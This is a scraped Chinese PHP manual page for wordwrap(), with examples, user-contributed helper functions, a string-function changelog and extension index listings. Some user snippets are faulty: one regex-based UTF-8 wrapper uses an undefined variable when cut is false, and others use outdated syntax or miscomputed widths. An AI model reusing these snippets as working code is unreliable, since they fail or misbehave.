如果 cut 设置为 TRUE，字符串总是在指定的 width 或者之前位置被打断。因此，如果有的单词宽度超过了给定的宽度，它将被分隔开来。（参见第二个范例）。 当它是 FALSE ，函数不会分割单词，哪怕 width 小于单词宽度。

返回值

返回打断后的字符串。

范例

Example #1 wordwrap() 范例

<?php
$text = "The quick brown fox jumped over the lazy dog.";
$newtext = wordwrap($text, 20, "<br />\n");

echo $newtext;
?>

以上例程会输出：

The quick brown fox<br />
jumped over the lazy<br />
dog.

Example #2 wordwrap() 范例

<?php
$text = "A very long woooooooooooord.";
$newtext = wordwrap($text, 8, "\n", true);

echo "$newtext\n";
?>

以上例程会输出：

A very
long
wooooooo
ooooord.

Example #3 wordwrap() 例子

<?php
$text = "A very long woooooooooooooooooord. and something";
$newtext = wordwrap($text, 8, "\n", false);

echo "$newtext\n";
?>

以上例程会输出：

A very
long
woooooooooooooooooord.
and
something

参见

  • nl2br() - 在字符串所有新行之前插入 HTML 换行标记
  • chunk_split() - 将字符串分割成小块

User Contributed Notes

answers at clearcrescendo.com 12-Jul-2019 01:38
wordwrap() uses the break string as the line break detected, and the break inserted, so your text must be standardized to the line break you want in the wordwrap() output before using wordwrap, otherwise you will get line breaks inserted regardless of the location of existing line breaks in your text.

<?php
    $linebreak = '<br/>' . PHP_EOL;
    $width = 5;
    $standardized = preg_replace('/\r?\n/',$linebreak, "abc abc abc\nabc abc abc\r\nabc abc abc");
    echo 'Standardized EOL:', PHP_EOL, $standardized, PHP_EOL, PHP_EOL; // PHP_EOL for the command line, use '<br/>' for HTML.
    echo "Wrapped at $width:", PHP_EOL, wordwrap( $standardized, 7, $linebreak), PHP_EOL;
?>

$ php -f test.php
Standardized EOL:
abc abc abc<br/>
abc abc abc<br/>
abc abc abc

Wrapped at 5:
abc abc<br/>
abc<br/>
abc abc<br/>
abc<br/>
abc abc<br/>
abc
tuxedobob 22-May-2017 05:55
It should be noted that the behavior of the $break parameter is poorly explained.

If you specify the $break parameter, then *that string defines what the function considers a "newline"*.

Consider the following string:

$str = "Rumplestiltskin Schwartzmenikoff
1534 Gingerbread Lane
Black Forest, Germany";

You are trying to fit this address into a space that only allows for 22 characters, but you want it clear that you're continuing a previous line, so you want a space added. You might try this:

$str = wordwrap($str, 22, "\n>");

If you did that, you would end up with the following output:

"Rumplestiltskin
>Schwartzmenikoff
1534
>Gingerbread Lane
Black
>Forest, Germany"

This is because when you pass it a third parameter of "\n>", it assumes that entire string is a newline character. It's no longer using "\n". In your output, of course, \n is still a newline, so it appears to have extra lines.

If you're looking to wordwrap a multi-line string with something besides a newline character, make sure all existing linebreaks are already delineated with the string you pass to wordwrap().
simbiat at bk dot ru 08-Oct-2016 09:41
Some people use wordwrap as long text cutter. I have a slightly different approach for that. The function does not wrap the text, but returns the position where to cut. It preserves HTML tags (does not count them) and strips br tags and whitespaces at the end. I am looking into a way prevent HTML tags corruption which can happen at this time and also support BB tags like code and quote, so that they won't be counted as well. When I do, I'll post an updated version of the code.

<?php
function txtcut($string, $length) {
    $tag = false;
    $chars = 0;
    $position = 0;
    $split = str_split($string);
    foreach ($split as $char) {
        $position++;
        if ($char == "<") {
            $tag = true;
            continue;
        }
        if ($char == ">") {
            $tag = false;
            continue;
        }
        if ($tag == true) {
            continue;
        }
        $chars++;
        if ($chars >= $length) {
            if ($char == " " || $char == "\r" || $char == "\n") {
                $position--;
                break;
            }
        }
    }
    if ($position == strlen($string)) {
        return strlen($string);
    } else {
        $string = substr($string, 0, $position);
        if (substr($string, -4, 4) == "<br>") {
            $string = rtrim(substr($string, 0, -4));
        }
        return strlen($string);
    }
}
?>
kozimbek at mail dot ru 02-May-2015 01:17
After searching and being tired of many non-working mb_wordwrap functions at many places, I finally created a really simple and working solution

<?php
function mb_wordwrap($string, $limit)
{
    $string = strip_tags($string); //Strip HTML tags off the text
    $string = html_entity_decode($string); //Convert HTML special chars into normal text
    $string = str_replace(array("\r", "\n"), "", $string); //Also cut line breaks
    if(mb_strlen($string, "UTF-8") <= $limit) return $string; //If input string's length is no more than cut length, return untouched
    $last_space = mb_strrpos(mb_substr($string, 0, $limit, "UTF-8"), " ", 0, "UTF-8"); //Find the last space symbol position

    return mb_substr($string, 0, $last_space, "UTF-8").' ...'; //Return the string's length substracted till the last space and add three points
}
?>

The function simply searches the last space symbol in the range and returns the string cut till that position. No iterations, no regular expressions and no buffer overload. Tested with large Russian texts and works perfectly.
zac dot hester at gmail dot com 12-Mar-2015 02:28
I recently ran into the issue discussed by another contributor to this function (frans-jan at van-steenbeek dot R-E-M-O-V-E dot net).  The problem appeared to be how wordwrap() was treating white space.  Instead of writing my own version of wordwrap(), I discovered that the "break" parameter is not only used as the inserted string, but also used to detect the existing wrap delimiters (e.g. line endings).  If you can manage to "normalize" the wrap delimiters in your original string, you don't need to try to work-around the function wrapping at seemingly odd places (like immediately after one short word).  As one quick-and-dirty way to get wordwrap() to play nicely with most use-cases, I did this:

<?php
$break = strpos( $content, "\r" ) === false ? "\n" : "\r\n";
$content = wordwrap( $content, 78, $break );
?>

I also tend to normalize multi-line strings (if my OCD is acting up).  You would typically perform this conversion _before_ sending it off to wordwrap().

<?php
//quick and simple, but clobbers old-style Mac line-endings
$content = str_replace( "\r", '', $content );

//slower, but works with everything
$content = preg_replace( "/(\r\n|\r)/", "\n", $content );

//now, wordwrap() will behave exactly as expected
$content = wordwrap( $content, 78, "\n" );
?>
Alhadis 08-Jan-2015 12:30
For those interested in wrapping text to fit a width in *pixels* (instead of characters), you might find the following function useful; particularly for line-wrapping text over dynamically-generated images.

If a word is too long to squeeze into the available space, it'll hyphenate it as needed so it fits the container. This operates recursively, so ridiculously long words or names (e.g., URLs or this guy's signature - http://en.wikipedia.org/wiki/Wolfe+585,_Senior) will still keep getting broken off after they've passed the fourth or fifth lines, or whatever.

<?php

    /**
     * Wraps a string to a given number of pixels.
     *
     * This function operates in a similar fashion as PHP's native wordwrap function; however,
     * it calculates wrapping based on font and point-size, rather than character count. This
     * can generate more even wrapping for sentences with a consider number of thin characters.
     *
     * @static $mult;
     * @param string $text - Input string.
     * @param float $width - Width, in pixels, of the text's wrapping area.
     * @param float $size - Size of the font, expressed in pixels.
     * @param string $font - Path to the typeface to measure the text with.
     * @return string The original string with line-breaks manually inserted at detected wrapping points.
     */
    function pixel_word_wrap($text, $width, $size, $font){

        #    Passed a blank value? Bail early.
        if(!$text) return $text;

        #    Check if imagettfbbox is expecting font-size to be declared in points or pixels.
        static $mult;
        $mult    =    $mult ?: version_compare(GD_VERSION, '2.0', '>=') ? .75 : 1;

        #    Text already fits the designated space without wrapping.
        $box    =    imagettfbbox($size * $mult, 0, $font, $text);
        if($box[2] - $box[0] / $mult < $width)    return $text;

        #    Start measuring each line of our input and inject line-breaks when overflow's detected.
        $output        =    '';
        $length        =    0;

        $words        =    preg_split('/\b(?=\S)|(?=\s)/', $text);
        $word_count    =    count($words);
        for($i = 0; $i < $word_count; ++$i){

            #    Newline
            if(PHP_EOL === $words[$i])
                $length    =    0;

            #    Strip any leading tabs.
            if(!$length) $words[$i]    =    preg_replace('/^\t+/', '', $words[$i]);

            $box    =    imagettfbbox($size * $mult, 0, $font, $words[$i]);
            $m        =    $box[2] - $box[0] / $mult;

            #    This is one honkin' long word, so try to hyphenate it.
            if(($diff = $width - $m) <= 0){
                $diff    =    abs($diff);

                #    Figure out which end of the word to start measuring from. Saves a few extra cycles in an already heavy-duty function.
                if($diff - $width <= 0)    for($s = strlen($words[$i]); $s; --$s){
                    $box    =    imagettfbbox($size * $mult, 0, $font, substr($words[$i], 0, $s) . '-');
                    if($width > ($box[2] - $box[0] / $mult) + $size){
                        $breakpoint    =    $s;
                        break;
                    }
                }

                else{
                    $word_length    =    strlen($words[$i]);
                    for($s = 0; $s < $word_length; ++$s){
                        $box    =    imagettfbbox($size * $mult, 0, $font, substr($words[$i], 0, $s+1) . '-');
                        if($width < ($box[2] - $box[0] / $mult) + $size){
                            $breakpoint    =    $s;
                            break;
                        }
                    }
                }

                if($breakpoint){
                    $w_l    =    substr($words[$i], 0, $s+1) . '-';
                    $w_r    =    substr($words[$i],     $s+1);

                    $words[$i]    =    $w_l;
                    array_splice($words, $i+1, 0, $w_r);
                    ++$word_count;
                    $box    =    imagettfbbox($size * $mult, 0, $font, $w_l);
                    $m        =    $box[2] - $box[0] / $mult;
                }
            }

            #    If there's no more room on the current line to fit the next word, start a new line.
            if($length > 0 && $length + $m >= $width){
                $output    .=    PHP_EOL;
                $length    =    0;

                #    If the current word is just a space, don't bother. Skip (saves a weird-looking gap in the text).
                if(' ' === $words[$i]) continue;
            }

            #    Write another word and increase the total length of the current line.
            $output    .=    $words[$i];
            $length +=    $m;
        }

        return $output;
    };

?>
phil_marmotte at yahoo dot fr 13-Jun-2014 01:13
Another Word wrap from left or right :

public static function myWordWrap ($string, $length=3, $wrap=',', $from='left') {
        if ($from=='left') $txt=wordwrap($string, $length, $wrap, true);
            if ($from=='right') {
                $m = strlen($string)%$length;
                if ($m < strlen($string))
                    $txt = substr($string,0,$m).$wrap.wordwrap(substr($string,$m),$length, $wrap, true);
                else
                    $txt = $string;
            }

            return $txt;
       }
maikuolan at gmail dot com 11-Apr-2013 06:23
(Re: kouber at php dot net).

Testing out your function, I can confirm that it works, and it works very well.

However, others that intend to use your function need to be aware that if they use it in conjunction with unverified data (such as raw user input from $_POST, $_GET, etcetera), they are creating potential attack vectors that can be exploited by hackers via script requests containing malicious code. This is because your function is using the preg_replace function in conjunction with the "e" flag (in order to allow the chunk_split bit to execute), which can allow execution of arbitrary code.

Solution: If there is any possibility that $str may contain unverified data (such as raw user input), ensure that the contents of $str is sanitized (such as by using htmlentities/htmlspecialchars/etc) prior to sending it to wrap($str,...).

Not a criticism; I intend to use your function, because I like it. However, just posting this as a note to other users that may not be aware of the importance of data sanitation.
ju1ius 18-Feb-2012 03:58
Another solution to utf-8 safe wordwrap, unsing regular expressions.
Pretty good performance and works in linear time.

<?php
function utf8_wordwrap($string, $width=75, $break="\n", $cut=false)
{
  if($cut) {
    // Match anything 1 to $width chars long followed by whitespace or EOS,
    // otherwise match anything $width chars long
    $search = '/(.{1,'.$width.'})(?:\s|$)|(.{'.$width.'})/uS';
    $replace = '$1$2'.$break;
  } else {
    // Anchor the beginning of the pattern with a lookahead
    // to avoid crazy backtracking when words are longer than $width
    $pattern = '/(?=\s)(.{1,'.$width.'})(?:\s|$)/uS';
    $replace = '$1'.$break;
  }
  return preg_replace($search, $replace, $string);
}
?>
Of course don't forget to use preg_quote on the $width and $break parameters if they come from untrusted input.
info at hsdn dot org 08-Jul-2011 08:41
Wordwrap with UTF-8 supports, returns as array.

<?php

function mb_wordwrap_array($string, $width)
{
    if (($len = mb_strlen($string, 'UTF-8')) <= $width)
    {
        return array($string);
    }

    $return = array();
    $last_space = FALSE;
    $i = 0;

    do
    {
        if (mb_substr($string, $i, 1, 'UTF-8') == ' ')
        {
            $last_space = $i;
        }

        if ($i > $width)
        {
            $last_space = ($last_space == 0) ? $width : $last_space;

            $return[] = trim(mb_substr($string, 0, $last_space, 'UTF-8'));
            $string = mb_substr($string, $last_space, $len, 'UTF-8');
            $len = mb_strlen($string, 'UTF-8');
            $i = 0;
        }

        $i++;
    }
    while ($i < $len);

    $return[] = trim($string);

    return $return;
}

?>
altin_bardhi at yahoo dot co dot uk 27-Jan-2011 04:03
Here I have come out with a possibly very useful wordwrap code snippet.

Apparently what this piece of code does is: it takes the entered text and looks for words longer than the defined '$chunk_length' if it finds any, it splits the long words and then it concatenates the whole string back to a new string with longer words separated by a dash character in this case.

After it has accomplished this task it then inserts an HTML line break after a specified '$line_length' (Depending on your containers width requirements)

<?php

//Start function explode_ wrap
function explode_wrap($text, $chunk_length, $line_length){

//Explode all the words separated by spaces in a string
$string_chunks = explode(' ', $text);

// Get each split word from the array $sring_chunks_array => key => value
foreach ($string_chunks as $chunk => $value) {

if(strlen($value) >= $chunk_length){

//Split the chunks/words which are longer than $chunk_length
$new_string_chunks[$chunk] = chunk_split($value, $chunk_length, ' - ');

}else {

//Do not split the normal length words
$new_string_chunks[$chunk] = $value;

}

}//End foreach loop

//Concatenate back the all the words
$new_text=implode(' ', $new_string_chunks);

return wordwrap($new_text, $line_length, '<br />');

}//End function

?>
nbenitezl[arroba]gmail[dot]com 02-Dec-2010 04:56
Hi, this function is like wordwrap but it ignores html tags, it works like wordwrap when called with fourth parameter as true. It's based on a function I find here but improved to closer match the output of wordwrap (i.e. removed spaces at start of line) and also to improve performance.

Hope it can be useful for you :-)
<?php
function htmlwrap(&$str, $maxLength, $char='<br />'){
    $count = 0;
    $newStr = '';
    $openTag = false;
    $lenstr = strlen($str);
    for($i=0; $i<$lenstr; $i++){
        $newStr .= $str{$i};
        if($str{$i} == '<'){
            $openTag = true;
            continue;
        }
        if(($openTag) && ($str{$i} == '>')){
            $openTag = false;
            continue;
        }
        if(!$openTag){
            if($str{$i} == ' '){
                if ($count == 0) {
                    $newStr = substr($newStr,0, -1);
                    continue;
                } else {
                    $lastspace = $count + 1;
                }
            }
            $count++;
            if($count==$maxLength){
                if ($str{$i+1} != ' ' && $lastspace && ($lastspace < $count)) {
                    $tmp = ($count - $lastspace)* -1;
                    $newStr = substr($newStr,0, $tmp) . $char . substr($newStr,$tmp);
                    $count = $tmp * -1;
                } else {
                    $newStr .= $char;
                    $count = 0;
                }
                $lastspace = 0;
            }
        }
    }

    return $newStr;
}
?>
ojs-hp at web dot de 30-Oct-2009 10:06
After I got some problems with my function to convert a BB-text into HTML. Long words didn't really fit into the layout and only wordwarp() also added breaks to words which would fit into the layout or destroy the other HTML-tags....
So this is my solution. Only words with strlen() >= 40 are edited with wordwarp().

<?php
function bb2html($bb) {
        $words= explode(' ', $bb); // string to array
    foreach ($words as $word) {
        $break = 0;
        for ($i = 0; $i < strlen($word); $i++) {
            if ($break >= 40) {
                $word= wordwrap($word, 40, '-<br>', true); //add <br> every 40 chars
                $break = 0;
            }
            $break++;

        }
        $newText[] = $word; //add word to array
    }
    $bb = implode(' ', $newText); //array to string
    return $bb;
}
?>
Marcin Dobruk [zuku3000 at yahoo dot co dot uk] 15-Jun-2009 02:21
Word wrap from left to right (standard) and from right to left.

<?php
function myWordWrap ($string, $length=3, $wrap=',', $from='left') {
    if ($from=='left') $txt=wordwrap($string, $length, $wrap, true);
    if ($from=='right') {
        // string to array
        $arr_l=array();
        for ($a=0;strlen($string)>$a;$a++) $arr_l[$a]=$string{$a};
        // reverse array
        $arr_r=array_reverse($arr_l);
        // array to string
        $string_r='';
        foreach ($arr_r as $arr_line => $arr) $string_r.=$arr;
        // add wrap to reverse string
        $string_r=wordwrap($string_r, $length, $wrap, true);
        // reverse string to array
        $arr_r=array();
        for ($a=0;strlen($string_r)>$a;$a++) $arr_r[]=$string_r{$a};
        // reverse array again
        $arr_l=array_reverse($arr_r);
        // string with wrap
        $txt='';
        foreach ($arr_l as $arr_line => $arr) $txt.=$arr;
        }
    return $txt;
    }
?>
Matt at newbiewebdevelopment dot idk 04-Mar-2009 01:53
My version of multibyte wordwrap

<?php
function mb_wordwrap($string, $width=75, $break="\n", $cut = false) {
    if (!$cut) {
        $regexp = '#^(?:[\x00-\x7F]|[\xC0-\xFF][\x80-\xBF]+){'.$width.',}\b#U';
    } else {
        $regexp = '#^(?:[\x00-\x7F]|[\xC0-\xFF][\x80-\xBF]+){'.$width.'}#';
    }
    $string_length = mb_strlen($string,'UTF-8');
    $cut_length = ceil($string_length / $width);
    $i = 1;
    $return = '';
    while ($i < $cut_length) {
        preg_match($regexp, $string,$matches);
        $new_string = $matches[0];
        $return .= $new_string.$break;
        $string = substr($string, strlen($new_string));
        $i++;
    }
    return $return.$string;
}

$mb_string = "こんにちは";//Hello in Japanese
$cut_mb_string = mb_wordwrap($mb_string,1," ",true); //こ ん に ち は
print($cut_mb_string);
?>
php at maranelda dot org 16-Sep-2008 04:17
Anyone attempting to write a text email client should be aware of the following:

<?php

$a = "some text that must wrap nice";

$a = wordwrap($a, 9);

echo $a;

//  some text
//  that must
//  wrap nice

$a = wordwrap($a, 9);

echo $a;

//  some text
//  that
//  must
//  wrap
//  nice

?>

Subsequent uses of wordwrap() on already wrapped text will take the end-of-line characters into account when working out line length, thus reading each line that just fit nicely the first time around as being one character too long the second. This can be a problem when preparing a text email that contains (eg.) a forwarded email which has already been word-wrapped.

Solutions below which explode() the text on end-of-lines and wordwrap() the resulting strings separately take care of this nicely.
$del=' at '; 'sanneschaap' dot $del dot 'gmail dot com' 17-Apr-2008 01:41
These functions let you wrap strings comparing to their actual displaying width of proportional font. In this case Arial, 11px. Very handy in some cases since CSS3 is not yet completely supported. 100 strings = ~5 ms

My old sheep word wrap function (posted at the bottom of this page, is kinda old dated and this one is faster and more accurate).

<?php
//the width of the biggest char @
$fontwidth = 11;

//each chargroup has char-ords that have the same proportional displaying width
$chargroup[0] = array(64);
$chargroup[1] = array(37,87,119);
$chargroup[2] = array(65,71,77,79,81,86,89,109);
$chargroup[3] = array(38,66,67,68,72,75,78,82,83,85,88,90);
$chargroup[4] = array(35,36,43,48,49,50,51,52,53,54,55,56,57,60,61,62,63, 69,70,76,80,84,95,97,98,99,100,101,103,104,110,111,112, 113,115,117,118,120,121,122,126);
$chargroup[5] = array(74,94,107);
$chargroup[6] = array(34,40,41,42,45,96,102,114,123,125);
$chargroup[7] = array(44,46,47,58,59,91,92,93,116);
$chargroup[8] = array(33,39,73,105,106,108,124);

//how the displaying width are compared to the biggest char width
$chargroup_relwidth[0] = 1; //is char @
$chargroup_relwidth[1] = 0.909413854;
$chargroup_relwidth[2] = 0.728241563;
$chargroup_relwidth[3] = 0.637655417;
$chargroup_relwidth[4] = 0.547069272;
$chargroup_relwidth[5] = 0.456483126;
$chargroup_relwidth[6] = 0.36589698;
$chargroup_relwidth[7] = 0.275310835;
$chargroup_relwidth[8] = 0.184724689;

//build fast array
$char_relwidth = null;
for ($i=0;$i<count($chargroup);$i++){
    for ($j=0;$j<count($chargroup[$i]);$j++){
        $char_relwidth[$chargroup[$i][$j]] = $chargroup_relwidth[$i];
    }
}

//get the display width (in pixels) of a string
function get_str_width($str){
    global $fontwidth,$char_relwidth;
    $result = 0;
    for ($i=0;$i<strlen($str);$i++){
        $result += $char_relwidth[ord($str[$i])];
    }
    $result = $result * $fontwidth;
    return $result;
}

//truncates a string at a certain displaying pixel width
function truncate_str_at_width($str, $width, $trunstr='...'){
    global $fontwidth,$char_relwidth;
    $trunstr_width = get_str_width($trunstr);
    $width -= $trunstr_width;
    $width = $width/$fontwidth;
    $w = 0;
    for ($i=0;$i<strlen($str);$i++){
        $w += $char_relwidth[ord($str[$i])];
        if ($w > $width)
            break;
    }
    $result = substr($str,0,$i).$trunstr;
    return $result;
    // texas is the reason rules at 10am :)
}
?>
joachim 16-Apr-2008 02:42
There seems to be a difference between php 5.1 and 5.2 in how wordwrap counts characters (all on Mac OSX 10.5.2):

/Applications/MAMP/bin/php5/bin/php --version
PHP 5.1.6 (cli) (built: Sep  8 2006 10:25:04)

/Applications/MAMP/bin/php5/bin/php -r 'echo wordwrap("In aller Freundschaft (50)_UT", 20) . "\n";'
In aller
Freundschaft
(50)_UT

php --version
PHP 5.2.5 (cli) (built: Feb 20 2008 12:30:47)

php -r 'echo wordwrap("In aller Freundschaft (50)_UT", 20) . "\n";'
In aller
Freundschaft (50)_UT
Peter 19-Dec-2006 05:00
The main concern when you have a text in a cell is for long words that drags the cell margins. This function will break words in a text that have more then $nr characters using the "-" char.

<?php
function processtext($text,$nr=10)
    {
        $mytext=explode(" ",trim($text));
        $newtext=array();
        foreach($mytext as $k=>$txt)
        {
            if (strlen($txt)>$nr)
            {
                $txt=wordwrap($txt, $nr, "-", 1);
            }
            $newtext[]=$txt;
        }
        return implode(" ",$newtext);
    }
?>
Dave Lozier - dave at fusionbb.com 30-Nov-2005 12:48
If you'd like to break long strings of text but avoid breaking html you may find this useful. It seems to be working for me, hope it works for you. Enjoy. :)

<?php
    function textWrap($text) {
        $new_text = '';
        $text_1 = explode('>',$text);
        $sizeof = sizeof($text_1);
        for ($i=0; $i<$sizeof; ++$i) {
            $text_2 = explode('<',$text_1[$i]);
            if (!empty($text_2[0])) {
                $new_text .= preg_replace('#([^\n\r .]{25})#i', '\\1  ', $text_2[0]);
            }
            if (!empty($text_2[1])) {
                $new_text .= '<' . $text_2[1] . '>';
            }
        }
        return $new_text;
    }
?>
frans-jan at van-steenbeek dot R-E-M-O-V-E dot net 16-Nov-2005 06:17
Using wordwrap is usefull for formatting email-messages, but it has a disadvantage: line-breaks are often treated as whitespaces, resulting in odd behaviour including lines wrapped after just one word.

To work around it I use this:

<?php
 function linewrap($string, $width, $break, $cut) {
  $array = explode("\n", $string);
  $string = "";
  foreach($array as $key => $val) {
   $string .= wordwrap($val, $width, $break, $cut);
   $string .= "\n";
  }
  return $string;
 }
?>

I then use linewrap() instead of wordwrap()

hope this helps someone
bruceboughton @ google mail 04-May-2005 03:08
I found that wordwrap deletes the spaces it wraps on. If you want to break up a string which doesn't consist of words, you may find this behaviour undesirable, as I did when trying to wordwrap a Regular Expression to 80 characters (for display along with test string, matches, etc.).

To preserve the spaces and still achieve a consistent cut length, you need to replace spaces with a suitable one-character replacement. I chose the ASCII non-printing character SUB (ASCII #26; some old telephone code meaning substitute):

<?php
$regex= str_replace(' ', chr(26), $regex);
$regex= wordwrap($regex, 80, '<br />', TRUE);
$regex= str_replace(chr(26), ' ', $regex);
?>

(Of course, you need to replace 80 with your column length and '<br />' with your break string)


更新日志

对本扩展的类／函数／方法有以下更新。

Version | Function | Description
7.2.0 | number_format | number_format 现在无法返回 -0，之前可能返回 -0，因为 number 可能会是 -0.01。
 | parse_str | 不带第二个参数的情况下使用 parse_str 会产生 E_DEPRECATED 警告。
7.1.0 | str_shuffle | 内置的随机算法从 libc rand 函数改成了梅森旋转演伪随机数发生算法。
 | stripos | 开始支持负数的 offset。
 | strpos | 开始支持负数的 offset。
 | substr_count | 开始支持负数的 offset 和 length。
7.0.0 | substr | 如果 string 的字符串长度与 start 相同时将返回一个空字符串。在之前的版本中，这种情况将返回 FALSE 。
5.6.5 | crypt | When the failure string "*0" is given as the salt, "*1" will now be returned for consistency with other crypt implementations. Prior to this version, PHP 5.6 would incorrectly return a DES hash.
5.6.0 | crypt | Raise E_NOTICE security warning if salt is omitted.
 | html_entity_decode | The default value for the encoding parameter was changed to be the value of the default_charset configuration option.
 | htmlentities | The default value for the encoding parameter was changed to be the value of the default_charset configuration option.
 | htmlspecialchars | The default value for the encoding parameter was changed to be the value of the default_charset configuration option.
5.5.21 | crypt | When the failure string "*0" is given as the salt, "*1" will now be returned for consistency with other crypt implementations. Prior to this version, PHP 5.5 (and earlier branches) would incorrectly return a DES hash.
5.5.11 | substr_compare | length 可以是 0。
5.5.1 | hex2bin | 如果输入的字符串是无效的十六进制字符串则抛出一个警告，
5.4.32, 5.5.16 | ucwords | 增加了 delimiters 参数。
5.4.4 | hex2bin | 如果输入的字符串有多余将抛出异常。 PHP 5.4.0 起字符串将被静默地接受，但是最后的字节会被截断。
5.4.0 | get_html_translation_table | The constants ENT_HTML401, ENT_XML1, ENT_XHTML and ENT_HTML5 were added.
 | get_html_translation_table | The default value for the encoding parameter was changed to UTF-8.
 | html_entity_decode | The constants ENT_HTML401, ENT_XML1, ENT_XHTML and ENT_HTML5 were added.
 | html_entity_decode | Default encoding changed from ISO-8859-1 to UTF-8.
 | htmlentities | 增加常量 ENT_SUBSTITUTE、 ENT_DISALLOWED、 ENT_HTML401、 ENT_XML1、 ENT_XHTML、 ENT_HTML5。
 | htmlentities | encoding 参数的默认值改成 UTF-8。
 | htmlspecialchars | encoding 参数的默认值改成 UTF-8。
 | htmlspecialchars | 增加常量 ENT_SUBSTITUTE、 ENT_DISALLOWED、 ENT_HTML401、 ENT_XML1、 ENT_XHTML、 ENT_HTML5。
 | htmlspecialchars_decode | 增加了 ENT_HTML401、ENT_XML1、 ENT_XHTML 和 ENT_HTML5 等常量。
 | number_format | This function now supports multiple bytes in dec_point and thousands_sep. Only the first byte of each separator was used in older versions.
5.3.7 | crypt | Added $2x$ and $2y$ Blowfish modes to deal with potential high-bit attacks.
5.3.4 | get_html_translation_table | The encoding parameter was added.
 | strip_tags | strip_tags ignores self-closing XHTML tags in allowable_tags.
5.3.2 | crypt | 修正了 Blowfish 算法由于非法循环导致的问题，返回“失败”字符串（“*0” 或 “*1”）而不是转而使用 DES 算法。
 | crypt | 基于 Ulrich Drepper 的实现，新增基于 SHA-256 算法和 SHA-512 算法的 crypt。
5.3.0 | crypt | PHP 现在包含了它自己的 MD5 Crypt 实现，包括标准 DES 算法，扩展的 DES 算法以及 Blowfish 算法。如果系统缺乏相应的实现，那么 PHP 将使用它自己的实现。
 | htmlentities | 增加常量 ENT_IGNORE。
 | htmlspecialchars | 增加常量 ENT_IGNORE。
 | nl2br | 新增可选的 is_xhtml 参数。在此之前，总是插入 '<br />'。
 | setlocale | This function now throws an E_DEPRECATED notice if a string is passed to the category parameter instead of one of the LC_* constants.
 | stristr | 新增可选的 before_needle 参数。
 | strlen | Prior versions treated arrays as the string Array, thus returning a string length of 5 and emitting an E_NOTICE level error.
 | strstr | 新增可选的 before_needle 参数。
5.2.5 | addcslashes | The escape sequences \v and \f were added.
5.2.3 | htmlentities | 增加参数 double_encode。
 | htmlspecialchars | 增加参数 double_encode。
5.2.2 - 5.2.6 | substr | If the start parameter indicates the position of a negative truncation or beyond, false is returned. Other versions get the string from start.
5.1.0 | explode | 支持负数的 limit
 | md5_file | 函数改用流 API。这意味着能够配合封装器使用该函数，比如 md5_file('http://example.com/..')。
 | sha1_file | 改变函数以使用流 API。这意味着可以使用包装器，比如 sha1_file('http://example.com/..')。
 | str_word_count | 新增 charlist 参数。
 | substr_compare | 允许使用负数的 offset 参数。
 | substr_count | 新增 offset 和 length 参数。
5.0.0 | strip_tags | strip_tags 变为二进制安全的。
 | strrpos | 参数 needle 可以是一个多字符的字符串。
 | strrpos | 引入 offset 参数。
4.3.3 | substr_replace | All parameters now accept arrays.
4.3.0 | stristr | stristr 变为二进制安全的。
 | strrchr | 该函数是二进制安全的。
 | strspn | 新增 start 和 length 参数。
 | strstr | strstr 成为二进制安全的。
4.2.3 | strcoll | 函数在 Win32 平台可用。
4.0.1 | explode | 增加了参数 limit

User Contributed Notes

There are no user contributed notes for this page.


变量与类型相关扩展

  • 数组
    • 简介
    • 安装／配置
    • 预定义常量
    • 对数组进行排序
    • 数组 函数
  • 类/对象 — 类/对象的信息
    • 简介
    • 安装／配置
    • 预定义常量
    • 范例
    • 类/对象 函数
  • Classkit
    • 简介
    • 安装／配置
    • 预定义常量
    • Classkit 函数
  • Ctype — 字符类型检测
    • 简介
    • 安装／配置
    • 预定义常量
    • Ctype 函数
  • Filter — Data Filtering
    • 简介
    • 安装／配置
    • Types of filters
    • 预定义常量
    • 范例
    • 过滤器函数
  • 函数处理
    • 简介
    • 安装／配置
    • 预定义常量
    • 函数处理 函数
  • Quickhash
    • 简介
    • 安装／配置
    • 预定义常量
    • 范例
    • QuickHashIntSet — The QuickHashIntSet class
    • QuickHashIntHash — The QuickHashIntHash class
    • QuickHashStringIntHash — The QuickHashStringIntHash class
    • QuickHashIntStringHash — The QuickHashIntStringHash class
  • 反射
    • 简介
    • 安装／配置
    • 预定义常量
    • 范例
    • 扩展
    • Reflection — Reflection 类
    • ReflectionClass — ReflectionClass 类
    • ReflectionClassConstant — The ReflectionClassConstant class
    • ReflectionZendExtension — ReflectionZendExtension 类
    • ReflectionExtension — ReflectionExtension 类
    • ReflectionFunction — ReflectionFunction 类
    • ReflectionFunctionAbstract — ReflectionFunctionAbstract 类
    • ReflectionMethod — ReflectionMethod 类
    • ReflectionObject — ReflectionObject 类
    • ReflectionParameter — ReflectionParameter 类
    • ReflectionProperty — ReflectionProperty 类
    • ReflectionType — The ReflectionType class
    • ReflectionGenerator — 生成器反射类
    • Reflector — Reflector 接口
    • ReflectionException — ReflectionException 类
  • Variable handling
    • 简介
    • 安装／配置
    • 预定义常量
    • Variable handling 函数

User Contributed Notes

There are no user contributed notes for this page.


数组

  • 简介
  • 安装／配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 对数组进行排序
  • 数组 函数
    • array_change_key_case — 将数组中的所有键名修改为全大写或小写
    • array_chunk — 将一个数组分割成多个
    • array_column — 返回数组中指定的一列
    • array_combine — 创建一个数组，用一个数组的值作为其键名，另一个数组的值作为其值
    • array_count_values — 统计数组中所有的值
    • array_diff_assoc — 带索引检查计算数组的差集
    • array_diff_key — 使用键名比较计算数组的差集
    • array_diff_uassoc — 用用户提供的回调函数做索引检查来计算数组的差集
    • array_diff_ukey — 用回调函数对键名比较计算数组的差集
    • array_diff — 计算数组的差集
    • array_fill_keys — 使用指定的键和值填充数组
    • array_fill — 用给定的值填充数组
    • array_filter — 用回调函数过滤数组中的单元
    • array_flip — 交换数组中的键和值
    • array_intersect_assoc — 带索引检查计算数组的交集
    • array_intersect_key — 使用键名比较计算数组的交集
    • array_intersect_uassoc — 带索引检查计算数组的交集，用回调函数比较索引
    • array_intersect_ukey — 用回调函数比较键名来计算数组的交集
    • array_intersect — 计算数组的交集
    • array_key_exists — 检查数组里是否有指定的键名或索引
    • array_key_first — Gets the first key of an array
    • array_key_last — Gets the last key of an array
    • array_keys — 返回数组中部分的或所有的键名
    • array_map — 为数组的每个元素应用回调函数
    • array_merge_recursive — 递归地合并一个或多个数组
    • array_merge — 合并一个或多个数组
    • array_multisort — 对多个数组或多维数组进行排序
    • array_pad — 以指定长度将一个值填充进数组
    • array_pop — 弹出数组最后一个单元（出栈）
    • array_product — 计算数组中所有值的乘积
